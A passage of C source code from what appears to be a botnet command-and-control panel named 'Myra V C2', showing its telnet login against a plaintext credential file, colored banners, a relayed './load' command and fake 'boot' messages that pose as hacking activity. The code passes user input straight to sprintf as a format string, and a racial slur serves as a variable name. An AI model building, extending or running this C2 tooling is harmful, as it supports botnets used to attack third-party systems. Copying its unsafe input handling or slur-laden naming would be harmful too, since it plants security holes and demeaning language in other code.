1133 //if (send(clear_myra_broadcast, test_062, strlen(test_062), MSG_NOSIGNAL) == -1) goto finish_integer;
1134 //if (send(clear_myra_broadcast, test_063, strlen(test_063), MSG_NOSIGNAL) == -1) goto finish_integer;
1135 //if (send(clear_myra_broadcast, test_064, strlen(test_064), MSG_NOSIGNAL) == -1) goto finish_integer;
1136 //if (send(clear_myra_broadcast, test_065, strlen(test_065), MSG_NOSIGNAL) == -1) goto finish_integer;
1137 //if (send(clear_myra_broadcast, test_066, strlen(test_066), MSG_NOSIGNAL) == -1) goto finish_integer;
1138 //if (send(clear_myra_broadcast, test_067, strlen(test_067), MSG_NOSIGNAL) == -1) goto finish_integer;
1139 //if (send(clear_myra_broadcast, test_068, strlen(test_068), MSG_NOSIGNAL) == -1) goto finish_integer;
1140 //sleep(1);
1141 //if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
1142 ////
1143 //if (send(clear_myra_broadcast, test_069, strlen(test_069), MSG_NOSIGNAL) == -1) goto finish_integer;
1144 //if (send(clear_myra_broadcast, test_070, strlen(test_070), MSG_NOSIGNAL) == -1) goto finish_integer;
1145 //if (send(clear_myra_broadcast, test_071, strlen(test_071), MSG_NOSIGNAL) == -1) goto finish_integer;
1146 //if (send(clear_myra_broadcast, test_072, strlen(test_072), MSG_NOSIGNAL) == -1) goto finish_integer;
1147 //if (send(clear_myra_broadcast, test_073, strlen(test_073), MSG_NOSIGNAL) == -1) goto finish_integer;
1148 //if (send(clear_myra_broadcast, test_074, strlen(test_074), MSG_NOSIGNAL) == -1) goto finish_integer;
1149 //if (send(clear_myra_broadcast, test_075, strlen(test_075), MSG_NOSIGNAL) == -1) goto finish_integer;
1150 //if (send(clear_myra_broadcast, test_076, strlen(test_076), MSG_NOSIGNAL) == -1) goto finish_integer;
1151 //if (send(clear_myra_broadcast, test_077, strlen(test_077), MSG_NOSIGNAL) == -1) goto finish_integer;
1152 //if (send(clear_myra_broadcast, test_078, strlen(test_078), MSG_NOSIGNAL) == -1) goto finish_integer;
1153 //if (send(clear_myra_broadcast, test_079, strlen(test_079), MSG_NOSIGNAL) == -1) goto finish_integer;
1154 //if (send(clear_myra_broadcast, test_080, strlen(test_080), MSG_NOSIGNAL) == -1) goto finish_integer;
1155 //if (send(clear_myra_broadcast, test_081, strlen(test_081), MSG_NOSIGNAL) == -1) goto finish_integer;
1156 //if (send(clear_myra_broadcast, test_082, strlen(test_082), MSG_NOSIGNAL) == -1) goto finish_integer;
1157 //if (send(clear_myra_broadcast, test_083, strlen(test_083), MSG_NOSIGNAL) == -1) goto finish_integer;
1158 //if (send(clear_myra_broadcast, test_084, strlen(test_084), MSG_NOSIGNAL) == -1) goto finish_integer;
1159 //if (send(clear_myra_broadcast, test_085, strlen(test_085), MSG_NOSIGNAL) == -1) goto finish_integer;
1160 //sleep(1);
1161 //if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
1162 ////
1163 //if (send(clear_myra_broadcast, test_086, strlen(test_086), MSG_NOSIGNAL) == -1) goto finish_integer;
1164 //if (send(clear_myra_broadcast, test_087, strlen(test_087), MSG_NOSIGNAL) == -1) goto finish_integer;
1165 //if (send(clear_myra_broadcast, test_088, strlen(test_088), MSG_NOSIGNAL) == -1) goto finish_integer;
1166 //if (send(clear_myra_broadcast, test_089, strlen(test_089), MSG_NOSIGNAL) == -1) goto finish_integer;
1167 //if (send(clear_myra_broadcast, test_090, strlen(test_090), MSG_NOSIGNAL) == -1) goto finish_integer;
1168 //if (send(clear_myra_broadcast, test_091, strlen(test_091), MSG_NOSIGNAL) == -1) goto finish_integer;
1169 //if (send(clear_myra_broadcast, test_092, strlen(test_092), MSG_NOSIGNAL) == -1) goto finish_integer;
1170 //if (send(clear_myra_broadcast, test_093, strlen(test_093), MSG_NOSIGNAL) == -1) goto finish_integer;
1171 //if (send(clear_myra_broadcast, test_094, strlen(test_094), MSG_NOSIGNAL) == -1) goto finish_integer;
1172 //if (send(clear_myra_broadcast, test_095, strlen(test_095), MSG_NOSIGNAL) == -1) goto finish_integer;
1173 //if (send(clear_myra_broadcast, test_096, strlen(test_096), MSG_NOSIGNAL) == -1) goto finish_integer;
1174 //if (send(clear_myra_broadcast, test_097, strlen(test_097), MSG_NOSIGNAL) == -1) goto finish_integer;
1175 //if (send(clear_myra_broadcast, test_098, strlen(test_098), MSG_NOSIGNAL) == -1) goto finish_integer;
1176 //if (send(clear_myra_broadcast, test_099, strlen(test_099), MSG_NOSIGNAL) == -1) goto finish_integer;
1177 //if (send(clear_myra_broadcast, test_100, strlen(test_100), MSG_NOSIGNAL) == -1) goto finish_integer;
1178 //if (send(clear_myra_broadcast, test_101, strlen(test_101), MSG_NOSIGNAL) == -1) goto finish_integer;
1179 //if (send(clear_myra_broadcast, test_102, strlen(test_102), MSG_NOSIGNAL) == -1) goto finish_integer;
1180 //sleep(1);
1181 //if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
1182 ////
1183 //if (send(clear_myra_broadcast, test_103, strlen(test_103), MSG_NOSIGNAL) == -1) goto finish_integer;
1184 //if (send(clear_myra_broadcast, test_104, strlen(test_104), MSG_NOSIGNAL) == -1) goto finish_integer;
1185 //if (send(clear_myra_broadcast, test_105, strlen(test_105), MSG_NOSIGNAL) == -1) goto finish_integer;
1186 //if (send(clear_myra_broadcast, test_106, strlen(test_106), MSG_NOSIGNAL) == -1) goto finish_integer;
1187 //if (send(clear_myra_broadcast, test_107, strlen(test_107), MSG_NOSIGNAL) == -1) goto finish_integer;
1188 //if (send(clear_myra_broadcast, test_108, strlen(test_108), MSG_NOSIGNAL) == -1) goto finish_integer;
1189 //if (send(clear_myra_broadcast, test_109, strlen(test_109), MSG_NOSIGNAL) == -1) goto finish_integer;
1190 //if (send(clear_myra_broadcast, test_110, strlen(test_110), MSG_NOSIGNAL) == -1) goto finish_integer;
1191 //if (send(clear_myra_broadcast, test_111, strlen(test_111), MSG_NOSIGNAL) == -1) goto finish_integer;
1192 //if (send(clear_myra_broadcast, test_112, strlen(test_112), MSG_NOSIGNAL) == -1) goto finish_integer;
1193 //if (send(clear_myra_broadcast, test_113, strlen(test_113), MSG_NOSIGNAL) == -1) goto finish_integer;
1194 //if (send(clear_myra_broadcast, test_114, strlen(test_114), MSG_NOSIGNAL) == -1) goto finish_integer;
1195 //if (send(clear_myra_broadcast, test_115, strlen(test_115), MSG_NOSIGNAL) == -1) goto finish_integer;
1196 //if (send(clear_myra_broadcast, test_116, strlen(test_116), MSG_NOSIGNAL) == -1) goto finish_integer;
1197 //if (send(clear_myra_broadcast, test_117, strlen(test_117), MSG_NOSIGNAL) == -1) goto finish_integer;
1198 //if (send(clear_myra_broadcast, test_118, strlen(test_118), MSG_NOSIGNAL) == -1) goto finish_integer;
1199 //if (send(clear_myra_broadcast, test_119, strlen(test_119), MSG_NOSIGNAL) == -1) goto finish_integer;
1200 //sleep(2);
1201 //if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
1202 //{
1203 //FILE *fp;
1204 //char *ip[5000];
1205 //char path[5000];
1206 ///* Open the command for reading. */
1207 //sprintf(ip, "timeout 5 ./load");
1208 //fp = popen(ip, "r");
1209 //if (fp == NULL) {
1210 //printf("Failed to run command\n");
1211 //exit(1);
1212 //}
1213 ///* Read the output a line at a time - output it. */
1214 //while (fgets(path, sizeof(path), fp) != NULL) {
1215 //char puta [5000];
1216 //sprintf(puta, "\r \e[38;5;225m%s", path);
1217 //if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
1218 //}
1219 ///* close */
1220 //pclose(fp);
1221 //char extra [120];
1222 //sprintf(myra, "\r \e[38;5;134mRunning sockets should be displayed!\r\n");
1223 //sprintf(extra, " \e[38;5;134mNote - Myra-Network is \e[38;5;168mNOT \e[38;5;134ma attack.\r\n");
1224 //if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
1225 //if(send(clear_myra_broadcast, extra, strlen(extra), MSG_NOSIGNAL) == -1) return;
1226 //}
1227 //hehe{
1228 //hehe char spaces[80];
1229 //hehe char equals[80];
1230 //hehe
1231 //hehe /* Assume an 80-column screen */
1232 //hehe /* The 'progress: |' is 11 characters */
1233 //hehe /* There should be space for '| 100%' after it */
1234 //hehe /* So that's 17 characters overhead. */
1235 //hehe /* We'll use 60 characters for the bar (not using 3) */
1236 //hehe
1237 //hehe for (int i = 0; i <= 100; i++)
1238 //hehe {
1239 //hehe /* Length of bar = (i * 60) / 100 */
1240 //hehe int barlen = (i * 60) / 100;
1241 //hehe int spclen = 60 - barlen;
1242 //hehe char poop [500];
1243 //hehe memset(equals, '=', barlen);
1244 //hehe equals[barlen] = '\0';
1245 //hehe memset(spaces, ' ', spclen);
1246 //hehe spaces[spclen] = '\0';
1247 //hehe sprintf(poop, "\rprogress: |%s%s| %3d%%", equals, spaces, i);
1248 //hehe usleep(20000);
1249 //hehe if (send(clear_myra_broadcast, poop, strlen(poop), MSG_NOSIGNAL) == -1) goto finish_integer;
1250 //hehe }
1251 //hehe usleep(20000);
1252 //hehe putchar('\n');
1253 //hehe}
1254 for (int loop = 0; loop < 2; ++loop) {
1255 for (int each = 0; each < 4; ++each) {
1256 char loadinganimation [500];
1257 sprintf(loadinganimation, "\r\e[38;5;134mBooting \e[38;5;225mMyra \e[38;5;168mV\e[38;5;134m%.*s \b\b\b", each, "...");
1258 fflush(stdout);//force printing as no newline in output
1259 if (send(clear_myra_broadcast, loadinganimation, strlen(loadinganimation), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1260 sleep(1);
1261 }
1262 }
1263 FILE *fp; // Check
1264 int trim_integer = 0; // Create Integer For I
1265 int c; // Create Integer For C
1266 fp = fopen("myra-db-set.txt", "r"); // format: username pass identification_type (identification_type is only need if Admin username ex: username pass Admin)
1267 while (!feof(fp)) // feof
1268 {
1269 c = fgetc(fp); // Define C to fget
1270 ++trim_integer; // Total Value Size
1271 }
1272 int succ = 0; // Create Integer J
1273 rewind(fp); // Rewind [fp]
1274 while (succ != trim_integer - 1) // Call Integer J
1275 {
1276 fscanf(fp, "%s %s %s", accounts[succ].username, accounts[succ].password, accounts[succ].identification_type); // Displaying, User -- Pass -- Plan, Through Specific Format
1277 ++succ;
1278 }
1279
1280 char Prompt_01 [500];
1281 char Prompt_02 [500];
1282 char Prompt_03 [500];
1283 char Prompt_04 [500];
1284 char Prompt_05 [500];
1285 char Prompt_06 [500];
1286 char Prompt_07 [500];
1287 char Prompt_08 [500];
1288 char Prompt_09 [500];
1289 char Prompt_10 [500];
1290 char Prompt_11 [500];
1291 char Prompt_12 [500];
1292 char Prompt_13 [500];
1293 char Prompt_14 [500];
1294 sprintf(Prompt_01, "\e[38;5;225m╔══════════════════════════════╗\r\n");
1295 sprintf(Prompt_02, "\e[38;5;225m║ \e[38;5;168mMyra \e[38;5;134mV\e[38;5;168m, Build \e[38;5;134m50\e[38;5;168m. \e[38;5;225m║\r\n");
1296 sprintf(Prompt_03, "\e[38;5;225m║ \e[38;5;168mProject\e[38;5;225m: \e[38;5;168mMyra \e[38;5;225mV \e[38;5;134mC2 \e[38;5;168mx \e[38;5;134mReborn\e[38;5;168m. \e[38;5;225m║\r\n");
1297 sprintf(Prompt_04, "\e[38;5;225m║ \e[38;5;168mVersion\e[38;5;225m: \e[38;5;168mMark \e[38;5;225mV\e[38;5;168m. [\e[38;5;134m碎\e[38;5;168m] \e[38;5;225m║\r\n");
1298 sprintf(Prompt_05, "\e[38;5;225m║ \e[38;5;168mOS_Option(\e[38;5;225ms\e[38;5;168m)\e[38;5;225m: \e[38;5;168mCentOS \e[38;5;225m- \e[38;5;134m7 \e[38;5;225m║\r\n");
1299 sprintf(Prompt_06, "\e[38;5;225m╚════════╦═════════════════════╝\r\n");
1300 sprintf(Prompt_07, "\e[38;5;225m ╠══════════════════════════════════╗\r\n");
1301 sprintf(Prompt_08, "\e[38;5;225m ║ \e[38;5;168mDeveloper\e[38;5;225m: \e[38;5;134mTransmissional\e[38;5;168m. \e[38;5;225m║\r\n");
1302 sprintf(Prompt_09, "\e[38;5;225m ╔═══╩══════════════════════════════════╝\r\n");
1303 sprintf(Prompt_10, "\e[38;5;225m ║\r\n");
1304 sprintf(Prompt_11, "\e[38;5;225m╔════╩════════════════════╗\r\n");
1305 sprintf(Prompt_12, "\e[38;5;225m║ \e[38;5;168mPlease Login Below\e[38;5;134m. \e[38;5;225m║\r\n");
1306 sprintf(Prompt_13, "\e[38;5;225m╚═════════════════════════╝\r\n");
1307 sprintf(Prompt_14, " \r\n");
1308 if(send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1309 if (send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1310 if (send(clear_myra_broadcast, Prompt_01, strlen(Prompt_01), MSG_NOSIGNAL) == -1) goto finish_integer;
1311 if (send(clear_myra_broadcast, Prompt_02, strlen(Prompt_02), MSG_NOSIGNAL) == -1) goto finish_integer;
1312 if (send(clear_myra_broadcast, Prompt_03, strlen(Prompt_03), MSG_NOSIGNAL) == -1) goto finish_integer;
1313 if (send(clear_myra_broadcast, Prompt_04, strlen(Prompt_04), MSG_NOSIGNAL) == -1) goto finish_integer;
1314 if (send(clear_myra_broadcast, Prompt_05, strlen(Prompt_05), MSG_NOSIGNAL) == -1) goto finish_integer;
1315 if (send(clear_myra_broadcast, Prompt_06, strlen(Prompt_06), MSG_NOSIGNAL) == -1) goto finish_integer;
1316 if (send(clear_myra_broadcast, Prompt_07, strlen(Prompt_07), MSG_NOSIGNAL) == -1) goto finish_integer;
1317 if (send(clear_myra_broadcast, Prompt_08, strlen(Prompt_08), MSG_NOSIGNAL) == -1) goto finish_integer;
1318 if (send(clear_myra_broadcast, Prompt_09, strlen(Prompt_09), MSG_NOSIGNAL) == -1) goto finish_integer;
1319 if (send(clear_myra_broadcast, Prompt_10, strlen(Prompt_10), MSG_NOSIGNAL) == -1) goto finish_integer;
1320 if (send(clear_myra_broadcast, Prompt_11, strlen(Prompt_11), MSG_NOSIGNAL) == -1) goto finish_integer;
1321 if (send(clear_myra_broadcast, Prompt_12, strlen(Prompt_12), MSG_NOSIGNAL) == -1) goto finish_integer;
1322 if (send(clear_myra_broadcast, Prompt_13, strlen(Prompt_13), MSG_NOSIGNAL) == -1) goto finish_integer;
1323 if (send(clear_myra_broadcast, Prompt_14, strlen(Prompt_14), MSG_NOSIGNAL) == -1) goto finish_integer;
1324 sprintf(myra, "\e[38;5;225mUsername:\e[38;5;168m "); // Username Input
1325 if (send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1326 if (buffer_size_string_compare(myra_buffer_size, sizeof myra_buffer_size, clear_myra_broadcast) < 1) goto finish_integer; // Restate Buffer Size, If Output Is Released
1327 trim_removev2(myra_buffer_size); // Trim [Buffer]
1328 sprintf(usernamez, myra_buffer_size); // Use Data From 'Usernamez'
1329 write_string = ("%s", myra_buffer_size); // Find String Input From User
1330 find_line = myra_file_searcher_v3(write_string); // We Search The User File
1331 char founduser [500];
1332 char passwordprompt [500];
1333 //char showme [500];
1334 if (strcmp(write_string, accounts[find_line].username) == 0) { // Here Is Our Login System
1335 sprintf(founduser, "\e[38;5;168mLogging In As User: \e[38;5;134m%s\r\n", accounts[find_line].username, myra_buffer_size); // Find User, Via The Login File, This Is Dependent On User Input
1336 sprintf(passwordprompt, "\e[38;5;168mPlease Enter Your Password!\r\n"); // Enter Password Display Output - This Is User Input
1337 sprintf(myra, "\e[38;5;225mPassword: \e[?25l\e[38;5;0m"); // Enter Password - This Is User Input
1338 //sprintf(showme, "\e[?25h");
1339 if (send(clear_myra_broadcast, founduser, strlen(founduser), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1340 if (send(clear_myra_broadcast, passwordprompt, strlen(passwordprompt), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1341 if (send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
1342 //if (send(clear_myra_broadcast, showme, strlen(showme), MSG_NOSIGNAL) == -1) goto finish_integer;
1343 if (buffer_size_string_compare(myra_buffer_size, sizeof myra_buffer_size, clear_myra_broadcast) < 1) goto finish_integer; // Restate Buffer Size, If Output Is Released
1344 trim_removev2(myra_buffer_size); // Trim [Buffer]
1345 if (strcmp(myra_buffer_size, accounts[find_line].password) != 0) goto failed; // If No User, Is Found, Continue To 'Failed' Output
1346 memset(myra_buffer_size, 0, 3000); // Memset Data Block Fill, Just So We Are Stable
1347 goto Myra; // Go To 'Myra'
1348 }
1349 failed:
1350 pthread_create(&title, NULL, &myra_title_creator, sock);
1351 char failed_line1[5000]; // Char Every Line For Output Communication
1352 char failed_line2[5000]; // Char Every Line For Output Communication
1353
1354 char clearscreen [5000]; // Char Every Line For Output Communication
1355 memset(clearscreen, 0, 3000); // Memset Data Block Fill, Just So We Are Stable
1356 sprintf(clearscreen, "\033[2J\033[1;1H"); // Clear Screen
1357
1358 sprintf(failed_line1, "Login Error!\r\n"); // We are Attempting To Display FailedBanner!
1359 sprintf(failed_line2, "If you run into this issue please contact the owner!\r\n"); // We are Attempting To Display FailedBanner!
1360
1361
1362 sleep(1); // You Have Failed!
1363 if(send(clear_myra_broadcast, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto finish_integer; // You Have Failed!
1364 if(send(clear_myra_broadcast, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto finish_integer; // You Have Failed!
1365 if(send(clear_myra_broadcast, failed_line2, strlen(failed_line2), MSG_NOSIGNAL) == -1) goto finish_integer; // You Have Failed!
1366 sleep(3); // Sleep For 3 Seconds, Clean Exit
1367 goto finish_integer; // You Have Failed!
1368 if (send(clear_myra_broadcast, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto finish_integer;
1369 Myra: // We are Displaying Attempting to display main banner!
1370 pthread_create(&title, NULL, &myra_title_creator, sock); // We are Displaying Attempting to display main banner!
1371 if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer; // We are Displaying Attempting to display main banner!
1372 //if(send(clear_myra_broadcast, "\r\n", 2, MSG_NOSIGNAL) == -1) goto finish_integer; // We are Displaying Attempting to display main banner!
1373 char placehold_01 [500];
1374 char placehold_02 [500];
1375 char placehold_03 [500];
1376 char placehold_04 [500];
1377 char placehold_05 [500];
1378 char placehold_06 [500];
1379 char placehold_07 [500];
1380 char placehold_08 [500];
1381 char placehold_09 [500];
1382 char placehold_10 [500];
1383 char placehold_11 [500];
1384 char placehold_12 [500];
1385 char placehold_13 [500];
1386 char placehold_14 [500];
1387 char placehold_15 [500];
1388 char placehold_16 [500];
1389 char placehold_17 [500];
1390 char placehold_18 [500];
1391 char placehold_19 [500];
1392 char placehold_20 [500];
1393 char placehold_21 [500];
1394 char placehold_22 [500];
1395 char placehold_23 [500];
1396 /////////////////////////////////
1397 int max_spaces_number = 17;
1398 int number_of_spaces = max_spaces_number - strnlen(accounts[find_line].username, sizeof(accounts[find_line].username));
1399///////////////////////////////////////////////////////////////////////////////////////
1400 //int nigga;
1401 //char words [1000];
1402 //sprintf(words, " \e[38;5;134mWelcome To \e[38;5;225mMyra \e[38;5;168mV\e[38;5;134m.");
1403 //char out [3000];
1404 //for(nigga = 0; nigga < strlen(words); nigga++) {
1405 // usleep(45000);
1406 // sprintf(out, "%c", words[nigga]);
1407 // fflush(stdout);
1408 // if(send(clear_myra_broadcast, out, strlen(out), MSG_NOSIGNAL) == -1) goto finish_integer;
1409 //}
1410 //sleep(500);
1411 sprintf(placehold_01, " \r\n");
1412 sprintf(placehold_02, " \r\n");
1413 sprintf(placehold_03, " \r\n");
1414 sprintf(placehold_04, " \r\n");
1415 sprintf(placehold_05, " \r\n");
1416 sprintf(placehold_06, " \r\n");
1417 sprintf(placehold_07, " \r\n");
1418 sprintf(placehold_08, " \r\n");
1419 sprintf(placehold_09, " \r\n");
1420 sprintf(placehold_10, " \r\n");
1421 //sprintf(placehold_14, " \r\n");
1422 //sprintf(placehold_15, " \r\n");
1423 //sprintf(placehold_16, " \r\n");
1424 //sprintf(placehold_17, " \r\n");
1425 //sprintf(placehold_18, " \r\n");
1426 //sprintf(placehold_19, " \r\n");
1427 //sprintf(placehold_20, " \r\n");
1428 //sprintf(placehold_21, " \r\n");
1429 //sprintf(placehold_22, " \r\n");
1430 //sprintf(placehold_23, " \r\n");
1431 if(send(clear_myra_broadcast, placehold_01, strlen(placehold_01), MSG_NOSIGNAL) == -1) goto finish_integer;
1432 if(send(clear_myra_broadcast, placehold_02, strlen(placehold_02), MSG_NOSIGNAL) == -1) goto finish_integer;
1433 if(send(clear_myra_broadcast, placehold_03, strlen(placehold_03), MSG_NOSIGNAL) == -1) goto finish_integer;
1434 if(send(clear_myra_broadcast, placehold_04, strlen(placehold_04), MSG_NOSIGNAL) == -1) goto finish_integer;
1435 if(send(clear_myra_broadcast, placehold_05, strlen(placehold_05), MSG_NOSIGNAL) == -1) goto finish_integer;
1436 if(send(clear_myra_broadcast, placehold_06, strlen(placehold_06), MSG_NOSIGNAL) == -1) goto finish_integer;
1437 if(send(clear_myra_broadcast, placehold_07, strlen(placehold_07), MSG_NOSIGNAL) == -1) goto finish_integer;
1438 if(send(clear_myra_broadcast, placehold_08, strlen(placehold_08), MSG_NOSIGNAL) == -1) goto finish_integer;
1439 if(send(clear_myra_broadcast, placehold_09, strlen(placehold_09), MSG_NOSIGNAL) == -1) goto finish_integer;
1440 if(send(clear_myra_broadcast, placehold_10, strlen(placehold_10), MSG_NOSIGNAL) == -1) goto finish_integer;
1441 int nigga;
1442 //char words [200];
1443 char words[101] = " \e[38;5;134mWelcome To \e[38;5;225mMyra \e[38;5;168mV\e[38;5;134m.\r\n";
1444 char out [101];
1445 for(nigga = 0; nigga < strlen(words); nigga++) {
1446 usleep(30000);
1447 sprintf(out, "%c", words[nigga]);
1448 if(send(clear_myra_broadcast, out, strlen(out), MSG_NOSIGNAL) == -1) goto finish_integer;
1449 fflush(stdout);
1450 }
1451 int nigga2;
1452 //char words2 [200];
1453 char words2[97] = " [\e[38;5;168mBuild \e[38;5;225m50\e[38;5;168m.\e[38;5;134m]\r\n";
1454 char out2 [97];
1455 for(nigga2 = 0; nigga2 < strlen(words2); nigga2++) {
1456 usleep(24000);
1457 sprintf(out2, "%c", words2[nigga2]);
1458 if(send(clear_myra_broadcast, out2, strlen(out2), MSG_NOSIGNAL) == -1) goto finish_integer;
1459 fflush(stdout);
1460 }
1461 int i = 0;
1462 char hehex [5000];
1463 for (i = 0; i < 10000; i++){
1464 sprintf(hehex, "\r \e[38;5;134m[\e[38;5;225m%d\e[38;5;168m%\e[38;5;134m]", i/100);
1465 if(send(clear_myra_broadcast, hehex, strlen(hehex), MSG_NOSIGNAL) == -1) goto finish_integer;
1466 fflush(stdout);
1467 }
1468 //if(send(clear_myra_broadcast, placehold_14, strlen(placehold_14), MSG_NOSIGNAL) == -1) goto finish_integer;
1469 //if(send(clear_myra_broadcast, placehold_15, strlen(placehold_15), MSG_NOSIGNAL) == -1) goto finish_integer;
1470 //if(send(clear_myra_broadcast, placehold_16, strlen(placehold_16), MSG_NOSIGNAL) == -1) goto finish_integer;
1471 //if(send(clear_myra_broadcast, placehold_17, strlen(placehold_17), MSG_NOSIGNAL) == -1) goto finish_integer;
1472 //if(send(clear_myra_broadcast, placehold_18, strlen(placehold_18), MSG_NOSIGNAL) == -1) goto finish_integer;
1473 //if(send(clear_myra_broadcast, placehold_19, strlen(placehold_19), MSG_NOSIGNAL) == -1) goto finish_integer;
1474 //if(send(clear_myra_broadcast, placehold_20, strlen(placehold_20), MSG_NOSIGNAL) == -1) goto finish_integer;
1475 //if(send(clear_myra_broadcast, placehold_21, strlen(placehold_21), MSG_NOSIGNAL) == -1) goto finish_integer;
1476 //if(send(clear_myra_broadcast, placehold_22, strlen(placehold_22), MSG_NOSIGNAL) == -1) goto finish_integer;
1477 //if(send(clear_myra_broadcast, placehold_23, strlen(placehold_23), MSG_NOSIGNAL) == -1) goto finish_integer;
1478 sleep(3);
1479///////////////////////////////////////////////////////////////////////////////////////
1480 if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
1481 //int i = 0;
1482 //char substrate_boot [5000];
1483 //for (i = 0; i < 100000; i++){
1484 // sprintf(substrate_boot, "\r\e[38;5;134mBooting \e[38;5;225mSubstrate \e[38;5;168mVI \e[38;5;134m- [\e[38;5;168m%d%\e[38;5;134m]", i/1000);
1485 // fflush(stdout);
1486 // if(send(clear_myra_broadcast, substrate_boot, strlen(substrate_boot), MSG_NOSIGNAL) == -1) goto finish_integer;
1487 //}
1488 char new_line [500];
1489 char verbose_boot_01 [500];
1490 char verbose_boot_02 [500];
1491 char verbose_boot_03 [500];
1492 char verbose_boot_04 [500];
1493 char verbose_boot_05 [500];
1494 char verbose_boot_06 [500];
1495 char verbose_boot_07 [500];
1496 char verbose_boot_08 [500];
1497 char verbose_boot_09 [500];
1498 char verbose_boot_10 [500];
1499 char verbose_boot_11 [500];
1500 char verbose_boot_12 [500];
1501 char verbose_boot_13 [500];
1502 char verbose_boot_14 [500];
1503 char verbose_boot_15 [500];
1504 char verbose_boot_16 [500];
1505 char verbose_boot_17 [500];
1506 char verbose_boot_18 [500];
1507 char verbose_boot_19 [500];
1508 char verbose_boot_20 [500];
1509 sprintf(new_line, "\r\n");
1510 sprintf(verbose_boot_01, "\e[97mLocalising \e[92mmemory_reg\e[97m..\r\n");
1511 sprintf(verbose_boot_02, "\e[97mEnumerating \e[92mnew encryption set using \e[95mmach_swap\e[97m..\r\n");
1512 sprintf(verbose_boot_03, "\e[96m0\e[97mx\e[91mfffff\e[93m8000d3 \e[92m: \e[96m0\e[97mx\e[91mffff\e[93m938d9\r\n");
1513 sprintf(verbose_boot_04, "\e[96m0\e[97mx\e[91mfffff\e[93m8000a4 \e[92m: \e[96m0\e[97mx\e[91mffff\e[93m939d2\r\n");
1514 sprintf(verbose_boot_05, "\e[96m0\e[97mx\e[91mfffff\e[93m8002sa \e[92m: \e[96m0\e[97mx\e[91mffff\e[93m2ekd7\r\n");
1515 sprintf(verbose_boot_06, "\e[96m0\e[97mx\e[91mfffff\e[93m80dc9e \e[92m: \e[96m0\e[97mx\e[91mfff\e[93m8dopx5\r\n");
1516 sprintf(verbose_boot_07, "\e[96m0\e[97mx\e[91mfff\e[93md89xc3ls \e[92m: \e[96m0\e[97mx\e[91mfff\e[93mkod9d3\r\n");
1517 sprintf(verbose_boot_08, "\e[96m0\e[97mx\e[91mffff\e[93mnd839fe \e[92m: \e[96m0\e[97mx\e[91mffff\e[93m5ufn1\r\n");
1518 sprintf(verbose_boot_09, "\e[96m0\e[97mx\e[91mffff\e[93md30e00d \e[92m: \e[96m0\e[97mx\e[91mff\e[93m00djss0\r\n");
1519 sprintf(verbose_boot_10, "\e[96m0\e[97mx\e[91mffff\e[93mox0321q \e[92m: \e[96m0\e[97mx\e[91mff\e[93m00dkxsz\r\n");
1520 sprintf(verbose_boot_11, "\e[92mSocket_exchange \e[97mhas been masked \e[97msuccessfully \e[97m!\r\n");
1521 sprintf(verbose_boot_12, "\e[97mUsing \e[93malphanumeric subset system\e[97m..\r\n");
1522 sprintf(verbose_boot_13, "\e[91mSubstrate is \e[92mresetting opposing socket\e[97m..\r\n");
1523 sprintf(verbose_boot_14, "\e[91mSubstrate \e[97mhas \e[92msuccessfully reset\e[97m.\r\n");
1524 sprintf(verbose_boot_15, "\e[96mPackaging existing \e[91mbinaries \e[97mwith \e[92mMyra\e[97m..\r\n");
1525 sprintf(verbose_boot_16, "\e[97mRunning \e[95mdeferred execution scheduler\e[97m..\r\n");
1526 sprintf(verbose_boot_17, "\e[97mApplying \e[91mmodified operators \e[97musing \e[92mmdas\e[97m..\r\n");
1527 sprintf(verbose_boot_18, "\e[97mRunning \e[92msystematic metadata checks\e[97m..\r\n");
1528 sprintf(verbose_boot_19, "\e[97mInitiating \e[92m[\e[91mHyperpower IV\e[92m]\e[91m.. \r\n");
1529 sprintf(verbose_boot_20, "\e[97mAutomatically \e[92maccepting system engagement \e[91m!\r\n");
1530 if(send(clear_myra_broadcast, new_line, strlen(new_line), MSG_NOSIGNAL) == -1) goto finish_integer;
1531 if(send(clear_myra_broadcast, verbose_boot_01, strlen(verbose_boot_01), MSG_NOSIGNAL) == -1) goto finish_integer;
1532 usleep(50000);
1533 if(send(clear_myra_broadcast, verbose_boot_02, strlen(verbose_boot_02), MSG_NOSIGNAL) == -1) goto finish_integer;
1534 usleep(50000);
1535 if(send(clear_myra_broadcast, verbose_boot_03, strlen(verbose_boot_03), MSG_NOSIGNAL) == -1) goto finish_integer;
1536 usleep(50000);
1537 if(send(clear_myra_broadcast, verbose_boot_04, strlen(verbose_boot_04), MSG_NOSIGNAL) == -1) goto finish_integer;
1538 usleep(50000);
